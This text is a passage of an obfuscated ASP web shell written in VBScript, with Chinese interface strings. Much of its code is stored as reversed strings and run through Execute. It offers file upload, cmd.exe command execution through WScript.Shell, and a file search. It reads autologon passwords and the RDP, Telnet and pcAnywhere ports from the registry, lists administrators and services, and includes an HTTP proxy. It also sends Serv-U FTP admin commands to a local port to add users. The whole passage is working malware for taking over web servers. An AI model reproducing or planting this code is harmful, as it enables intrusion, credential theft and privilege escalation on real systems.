" RW=RW & BackUrl Response.Write RW : RW="" End If End Function End Class Hacker="noitcnuF dnE~WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<¨~ & WR=WR ~¨~>'timbus'=ssalc '´«ÉÏ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'522:htdiw'=elyts 'elif'=epyt 'eliFlacoL'=eman tupni<¨~ & WR=WR ~¨~;psbn&>'052:htdiw'=elyts '¨~&)¨~psa.a\¨~&)¨~htaPredloF¨~(noisseS(htaPeRR&¨~'=eulav 'htaPoT'=eman tupni<£º¾¶Â·´«ÉϨ~ & WR=WR ~¨~>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¼þÎÄ´«ÉÏ>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?¨~&LRU&¨~'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~fI dnE ~dnE.esnopseR ~)(rrEwohS ~WR etirW.esnopseR ~lrUkcaB & WR=WR ~gnihton=U teS:gnihton=F teS ~fI dnE ~fi dnE ~¨~>retnec/<£¡¹¦³É´«ÉϨ~ & emaNU & ¨~¼þÎÄ>rb<>rb<>rb<>retnec<¨~=WR ~nehT 0=rebmun.rrE fI ~emaNU sAevaS.F ~eslE ~¨~!´«ÉϼþÎĸöÒ»ÔñÑ¡ºó¾¶Â·È«ÍêµÄ´«ÉÏÈëÊäÇë>rb<¨~=WR ~neht 0=eziSeliF.F rO ¨~¨~=emaNU fI ~)¨~htaPoT¨~(mrof.U=emaNU ~)¨~eliFlacoL¨~(AU.U=F teS : CPU wen=U teS ~nehT ¨~tsoP¨~=)¨~2noitcA¨~(tseuqeR fI ~emaNeliFrts mid ~)(eliFpU noitcnuF" ExeCuTe(UZSS(Hacker)) Dim T1 Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject("Scripting.Dictionary") if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject("Scripting.Dictionary") vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Hacker="noitcnuF dnE~¨~¨~=gnoyoaix : ¨~¨~=WR : WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>aeratxet/<¨~ & )31(rhc & WR=WR ~fI dnE ~fi dne ~gnihtoN=osf teS ~gnihtoN=xcleliFo teS ~gnoyoaix & WR=WR ~)eurT ,eliFpmeTzs(eliFeteleD.osf llaC ~esolC.xcleliFo ~llAdaeR.xcleliFo=gnoyoaix ~)0 ,eslaF ,1 ,eliFpmeTzs( eliFtxeTnepO.osf=xcleliFo teS ~))0,0(TbO(tcejbOetaerC=osf teS ~)eurT ,0 ,eliFpmeTzs & ¨~ > ¨~ & dmCfeD & ¨~ c/ ¨~ & htaPllehS( nuR.sw llaC ~)¨~txt.dmc¨~(htappam.revres = eliFpmeTzs ~esle ~gnihtoN=DD teS ~gnihtoN=MC teS ~gnoyoaix & WR=WR ~lladaer.tuodts.DD=gnoyoaix ~)dmCfeD&¨~ c/ ¨~&htaPllehS(cexe.MC=DD teS ~))0,1(TbO(tcejbOetaerC=MC teS ~neht ¨~sey¨~=)¨~tpircsw¨~(mroF.tseuqeR fi ~aaa mid ~nehT ¨~¨~><)¨~dmc¨~(mroF.tseuqeR fI ~¨~>'054:thgieh;006:htdiw'=elyts aeratxet<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt<>dt/<>'timbus'=ssalc 'ÐÐÖ´'=eulav 'timbus'=epyt tupni<;psbn&>'¨~ & dmCfeD & ¨~'=eulav '084:htdiw'=elyts 'dmc'=eman tupni<£ºÁîÃüllehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/¨~ & dekcehc & ¨~'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'514:htdiw'=elyts '¨~ & htaPllehS & ¨~'=eulav 'PS'=eman tupni<£º¾¶Â·llehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÐÐÁîÃüdmC>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~dmc¨~(tseuqeR = dmCfeD nehT ¨~¨~><)¨~dmc¨~(tseuqeR fI ~fi dne ~¨~¨~=dekcehc ~esle ~¨~dekcehc ¨~=dekcehc ~neht ¨~sey¨~=)¨~tpircsw¨~(tseuqeR fi ~¨~exe.dmc¨~ = htaPllehS nehT ¨~¨~=htaPllehS fi ~)¨~htaPllehS¨~(noisseS=htaPllehS ~)¨~PS¨~(tseuqeR = )¨~htaPllehS¨~(noisseS nehT ¨~¨~><)¨~PS¨~(tseuqeR fI ~xcleliFo,eliFpmeTzs,gnoyoaix,DD,MC,dmCfeD,dekcehc mid ~)(llehSdmC noitcnuF" ExeCuTe(UZSS(Hacker)) Function TSearch() dim st st=timer() RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
ËÑË÷ÒýÇæ
 Â·  ¾¶£º ×¢:¶à·¾¶Ê¹ÓÃ"",""ºÅÁ¬½Ó.
 ÎļþÃû£º  [²¿·ÖÒ²ÐÐ]
" Response.Write RW : RW="" if Request.Form("Sfk")<>"" then Set newsearch=new SearchFile newsearch.Folders=trim(Request.Form("SFpath")) newsearch.keyword=trim(Request.Form("Sfk")) newsearch.Search Set newsearch=Nothing Response.Write "·Ñʱ£º"&(timer()-st)*1000&"ºÁÃë
" end if End Function Class SearchFile dim Folders,keyword,objFso,Counter Private Sub Class_Initialize Set objFso=Server.CreateObject(ObT(0,0)) Counter=0 End Sub Private Sub Class_Terminate Set objFso=Nothing End Sub Function Search Folders=split(Folders,",") flag=instr(keyword,"\") or instr(keyword,"/") flag=flag or instr(keyword,":") flag=flag or instr(keyword,"|") flag=flag or instr(keyword,"&") if flag then Response.Write "

¹Ø¼ü×Ö²»ÄÜ°üº¬/\:|&
" Exit Function else Response.Write "

" end if dim i for i=0 to ubound(Folders) Call GetAllFile(Folders(i)) next Response.Write "

¹²ËÑË÷µ½"&Counter&"¸ö½á¹û
" End Function Private Function GetAllFile(Folder) dim objFd,objFs,objFf Set objFd=objFso.GetFolder(Folder) Set objFs=objFd.SubFolders Set objFf=objFd.Files dim strFdName On Error Resume Next For Each OneDir In objFs strFdName=OneDir.Name If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then SFN=Folder&"\"&strFdName Call GetAllFile(SFN) End If Next dim strFlName For Each OneFile In objFf strFlName=OneFile.Name If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then FN=Folder&"\"&strFlName Counter=Counter+ColorOn(FN) End If Next Set objFd=Nothing Set objFs=Nothing Set objFf=Nothing End Function Private Function CreatePattern(keyword) CreatePattern=keyword CreatePattern=Replace(CreatePattern,".","\.") CreatePattern=Replace(CreatePattern,"+","\+") CreatePattern=Replace(CreatePattern,"(","\(") CreatePattern=Replace(CreatePattern,")","\)") CreatePattern=Replace(CreatePattern,"[","\[") CreatePattern=Replace(CreatePattern,"]","\]") CreatePattern=Replace(CreatePattern,"{","\{") CreatePattern=Replace(CreatePattern,"}","\}") CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") CreatePattern="("&CreatePattern&")+" End Function Private Function ColorOn(FileName) dim objReg Set objReg=new RegExp objReg.Pattern=CreatePattern(keyword) objReg.IgnoreCase=True objReg.Global=True retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) if retVal then OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") OutPut="

 " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut Response.Write OutPut Response.flush ColorOn=1 else ColorOn=0 end if Set objReg=Nothing End Function End Class Hacker="noitcnuF dnE~¨~¨~=2WR: ¨~¨~=1WR: ¨~¨~=0WR: ¨~¨~=WR: ¨~>rb<>elbat/<¨~ & 2WR & 1WR & 0WR & WR etirW.esnopseR ~gnihtoN=as teS ~gnihtoN=esruoCjbo teS ~txen ~fi dne ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'000800#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 2WR=2WR ~esle ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'0000FF#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 1WR=1WR ~neht 2=epyTtratS.jbo dna ¨~niw¨~><))3,4,htap.jbo(dim(esaCL fi ~¨~Óýû¨~=xl neht 4=epyTtratS.jbo fi ~ ¨~¶¯ÊÖ¨~=xl neht 3=epyTtratS.jbo fi ~¨~¶¯×Ô¨~=xl neht 2=epyTtratS.jbo fi ~fi dne ~ ¨~>rt/<>dt/<;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~=0WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~)×é(»§ÓÃͳϵ¨~ & WR=WR ~ ¨~;psbn&>'FFFFFF#'=rolocgb dt<>dt/<¨~ & WR=WR ~emaN.jbo & WR=WR ~¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<¨~ & WR=WR ~¨~>rt<¨~ & WR=WR ~neht ¨~¨~=epyTtratS.jbo fi ~raelC.rrE ~esruoCjbo ni jbo hcae rof ~)¨~.//:TNniW¨~(tcejbOteG=esruoCjbo teS ~)¨~noitacilppA.llehS¨~(tcejbOetaerC=as teS ~txeN emuseR rorrE nO ~¨~>rt/<>dt/<Îñ·þÓ뻧ÓÃͳϵ>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~2WR,1WR,0WR,esruoCjbo,jbo,as mid ~)(esruoC noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~¨~=WR:WR etirW.esnopseR ~fi dne ~¨~>elbat/<¨~ & WR=WR ~esle ~gnihtoN=llehSHSW teS ~¨~>elbat/<>rt/<>dt/<¨~ & rtsdaeRsi & ¨~£ºÊÇÖµ¸Ã;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~))¨~emaNRT¨~(tseuqeR & )¨~htaPRT¨~(tseuqeR(daeRgeR.llehSHSW=rtsdaeRsi ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW teS ~neht )¨~¨~><)¨~emaNRT¨~(tseuqeR( dna )¨~¨~><)¨~htaPRT¨~(tseuqeR( fi ~ fi dne ~ fi dne ~ ¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & dwpnigoLotua & ¨~£ºÂëÃÜ»§ÕʵļµÇ¶¯×Ô;psbn&¨~ & WR=WR ~raelC.rrE nehT rrE fI ~)yeKdwpnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=dwpnigoLotua ~txeN emuseR rorrE nO ~¨~>rb<¨~ & resUnigoLotua & ¨~£º»§ÕÊͳϵµÄ¼µÇ¶¯×Ô;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=resUnigoLotua ~esle ~¨~>elbat/<>rt/<>dt/<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~neht 0=elbanEnigoLotua fi ~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=elbanEnigoLotua ~¨~drowssaPtluafeD¨~=yeKdwpnigoLotua ~¨~emaNresUtluafeD¨~=yeKresUnigoLotua ~¨~nogoLnimdAotuA¨~=yeKelbanEnigoLotua ~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=htaPnigoLotua ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW tes ~neht ¨~nogoLotuA¨~=)¨~di¨~(tseuqeR fi ~¨~>rt/<>dt/rb<\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH£º¾¶Â·Ïî;psbn&>rb<¿Ú¶Ë¶ËÖÕÈ¡¶Á£ºÈç¡¡Àý;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'002:htdiw'=elyts '¨~ & )¨~emaNRT¨~(tseuqeR & ¨~'=eulav 'emaNRT'=eman tupni<£º³ÆÃûÖµ;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>'025:htdiw'=elyts '¨~ & )¨~htaPRT¨~(tseuqeR & ¨~'=eulav 'htaPRT'=eman tupni<£º¾¶Â·Ïî;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~>a/<]Ï¢ÐżµÇ¶¯×Ô[>'nogoLotuA=di&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]³ÆÃû»ú±¾[>'emaNretupmoC=emaNRT&\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH=htaPRT&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]¿Ú¶Ë¶ËÖÕ[>'rebmuNtroP=emaNRT&\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH=htaPRT&tidegeRT=noitcA?'=ferh a<£ºµÀͨËÙ¿ì;psbn&>'02'=thgieh 'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²ÙÈ¡¶ÁÖµ¼ü±í²á×¢>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem 'tidegeRT=noitcA?¨~&LRU&¨~'=noitca mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~dwpnigoLotua,resUnigoLotua,elbanEnigoLotua mid ~yeKdwpnigoLotua,yeKresUnigoLotua,yeKelbanEnigoLotua,htaPnigoLotua mid ~rtsdaeRsi,llehSHSW mid ~)(tidegeRT noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~>rb<>elbat/<¨~ etirw.esnopseR ~htiw dne ~txen ~¨~>rt/<>dt/<>tnof/<¨~&)vs(selbairaVrevres.tseuqeR&¨~>'WORRAN LAIRA'=elyts tnof<>dt<>dt/<>tnof/<¨~ etirw.esnopseR ~vs etirw.esnopseR ~¨~;psbn&>'WORRAN LAIRA'=elyts tnof<>dt<>rt<¨~ etirw.esnopseR ~selbairavrevres.tseuqeR ni vs hcae rof ~esnopser htiw ~vs mid ~¨~>rt/<>dt/<>tnof/<¹û½á>FFFFFF#=roloc tnof<>retnec=ngila dt<>dt/<>tnof/<ÃûÁ¿±ä>FFFFFF#=roloc tnof<>retnec=ngila dt<>rt<>rt/<>dt/<±íÁÐ selbairaVrevreS.tseuqeR>retnec=ngila '2'=napsloc dt<>rt<>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ etirw.esnopseR ~)(Ewohs noitcnuF" ExeCuTe(UZSS(Hacker)) function goback() set Ofso = Server.CreateObject("Scripting.FileSystemObject") set ofolder = Ofso.Getfolder(Session("FolderPath")) if not ofolder.IsRootFolder then Response.write "" else Response.write "" end if set Ofso=nothing set ofolder=nothing end function Function proxy() sx() proxy1() End Function Function proxy1() on error resume next url=lcase(request("pURL")) if url<>"" then if left(url,7)<>"http://" then url="http://" & url set xml=server.createobject("Microsoft.Xmlhttp") xml.open "Get",url,false,false xml.send if err then response.write "
ÎÞ·¨·ÃÎÊ.
":response.end proxyweb=B2Bstr(xml.responsebody) end if Response.write proxyweb End Function Function B2Bstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" B2Bstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function sx() RRS "" RRS "
" RRS "
µ¥Ò³´úÀí

" RRS "Address:" RRS " The Address what you want to visit" RRS "
" RRS "
" RRS "
" End Function function php() set fso=Server.CreateObject("Scripting.FileSystemObject") fso.CreateTextFile(server.mappath("lp.php")).Write"" Response.write" " Response.write "





Èç¹ûÄãÄÜ¿´µ½lp.phpÕý³£ÏÔʾ,±íʾ֧³ÖPHP

·ñÔò¾ÍÊDz»Ö§³ÖÀ­

ɾ³ý²âÊÔµÄPHPÎļþ

" End function function lpdel set fso=Server.CreateObject("Scripting.FileSystemObject") fso.DeleteFile(server.mappath("lp.php")) End function Hacker="noitcnuF dnE~¨~¨~=WR : WR etirW.esnopseR ~txeN ~¨~>rt/<>dt/<¨~&))0,i(TbO(jbOsI&¨~>'retnec'=ngila dt<>dt/<>tnof/<¨~&)1,i(TbO&¨~>'888888#'=roloc tnof<: ¨~&)0,i(TbO&¨~;psbn&>'02'=thgieh dt<>rt<¨~ & WR=WR ~41 oT 0=i roF ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~ & WR=WR ~¨~¨~ & WR=WR ~¨~>elbat/<>rt/<>dt/<¨~&)¨~ERAWTFOS_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:±¾°ærevreS SII;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SO¨~(selbairaVrevreS.tseuqeR&¨~:sO revreS;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>a/<>tnof/<]±íÁÐ selbairaVrevreS.tseuqeR[>'der'=roloc tnof<>'emarFeliF'=tegrat 'Ewohs=noitcA?'=ferh a<¨~ & WR=WR ~¨~;psbn&¸ö¨~&tnuoC.selbairaVrevreS.tseuqeR&¨~:Á¿±ä¾³»·;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SROSSECORP_FO_REBMUN¨~(selbairaVrevreS.tseuqeR&¨~:ÇéÏêUPC;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<;psbn&¨~&won&¨~:emiT revreS;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<)¨~&)¨~TROP_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:¨~ & PIrevreS & ¨~(¨~&MNrevreS&¨~:Ö·µØÆ÷Îñ·þ;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<]Ï¢Ðżþ×é[ ¿ö¸ÅÆ÷Îñ·þ>'unem'=rolocgb 'retnec'=ngila '4'=napsloc dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)(ofnIrevreS noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne~¨~krowteN.tpircsW:!ÏÞȨÓÐû¨~ etirw.esnopseR~neht rre fi~txeN~¨~>rb<>retnec/<¨~&emaN.nimda&¨~>retnec<¨~ etirw.esnopseR~srebmeM.puorGjbo ni nimda hcaE roF~)¨~puorg,srotartsinimdA/¨~&emaNretupmoC.Nt&¨~//:TNniW¨~(tcejbOteG=puorGjbo teS~)¨~krowteN.tpircsW¨~(tcejbOetaerc.revres=Nt teS~txen emuser rorre no~0=seripxE.esnopseR~)(banimda noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="buS dnE~¨~>lo/<¨~ SRR~fI dnE~¨~>rb<¨~ & drowssaPnigoLotua & ¨~ :ÂëÃÜ»§ÕʵļµÇ¶¯×Ô¨~ SRR~fI dnE~¨~eslaF¨~ SRR~raelC.rrE~nehT rrE fI~)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotua~¨~>rb<¨~ & emanresUnigoLotua & ¨~ :»§ÕÊͳϵµÄ¼µÇ¶¯×Ô¨~ SRR~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotua~eslE~¨~>/rb<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ¨~ SRR~nehT 0 = elbanEnigoLotuAsi fI~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsi~¨~drowssaPtluafeD¨~ = yeKssaPnigoLotua~¨~emaNresUtluafeD¨~ = yeKresUnigoLotua~¨~nogoLnimdAotuA¨~ = yeKelbanEnigoLotua~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~ = htaPnigoLotua~fI dnE~¨~>/rb<¨~ & troPmret & ¨~ :¿Ú¶ËÎñ·þ¶ËÖÕÇ°µ±¨~ SRR~eslE ~¨~>/rb<.ÖÆÏÞµ½Êܾ­ÒÑ·ñÊÇÏÞȨ²é¼ìÇë ,¿Ú¶ËÎñ·þ¶ËÖÕµ½µÃ·¨ÎÞ¨~SRR~ nehT 0 >< rebmuN.rrE rO ¨~¨~ = troPmret fI~¨~>lo<>/rh<¼µÇ¶¯×Ô¼°¿Ú¶ËÎñ·þ¶ËÖÕ¨~ SRR~)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmret~¨~rebmuNtroP¨~ = yeKtroPlanimret~¨~\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH¨~ = htaPtroPlanimret~drowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miD~yeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miD~troPmret ,yeKtroPlanimret ,htaPtroPlanimret miD~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = Xsw teS~¨~------------------------------------------------------¨~ etirW.esnopseR~¨~>rb<¨~&troPWAP&¨~:Ϊ¿Ú¶ËerehwynAcP>il<¨~ etirW.esnopseR~¨~erehwynAcp×°°²·ñÊÇ»úÖ÷ÈÏÈ·Çë.È¡»ñ·¨ÎÞ¨~=troPWAP neht ¨~¨~=troPWAP fI~)yeKerehwynAcp(daeRgeR.hsW=troPWAP~¨~troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yeKerehwynAcp~¨~>rb<¨~&troPmreT&¨~:Ϊ¿Ú¶ËecivreS lanimreT>il<¨~ etirW.esnopseR~¨~»úÖ÷±¾°ærevreS swodniWΪ·ñÊÇÈÏÈ·Çë.È¡¶Á·¨ÎÞ¨~=troPmreT nehT ¨~¨~=troPmreT fI~)yeKmreT(daeRgeR.hsW=troPmreT~¨~rebmuNtroP\pct\sdT\dwpdr\sdW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH¨~=yeKmreT~¨~>rb<¨~&troptnlT&¨~:¿Ú¶ËtenleT>il<¨~ etirW.esnopseR~¨~32¨~=tnlT nehT ¨~¨~=troPtnlT fi~)yeKtenleT(daeRgeR.hsW=troPtnlT~¨~troPtenleT\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yektenleT~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = hsw teS~¨~>1=ezis rh<>rb<]²â̽¿Ú¶ËÊâÌØ[>rb<>rb<¨~ etirW.esnopseR~txeN emuseR rorrE nO~)(ofnIlanimreTteg bus" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI dne~gnihton=3tsopx tes~)sevael(dnes.3tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.3tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = 3tsopx tes~flrcbv & resut & ¨~=resU ¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~RESUETELED-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~esle~)¨~>RB<>rb<): ¨~ & htapt & ¨~ :¾¶Â· ¨~ & ssapt & ¨~ :ÂëÃܨ~ & ¨~ ¨~ & resut & ¨~ :Ãû»§Óà PTF£¡£¡ÐÐÖ´¹¦³ÉÁîÃü>der=roloc tnof<>retnec<¨~( etirw.esnopser~gnihton=tsopx tes~)sevael(dnes.tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = tsopx tes~txen emuser rorre no~flrcbv & ¨~tiuq¨~ & sevael = sevael~flrcbv & ¨~PDCLEMAWR|\¨~ & htapt & ¨~=sseccA ¨~ & flrcbv & ¨~enoN=soitaR-¨~ & flrcbv & 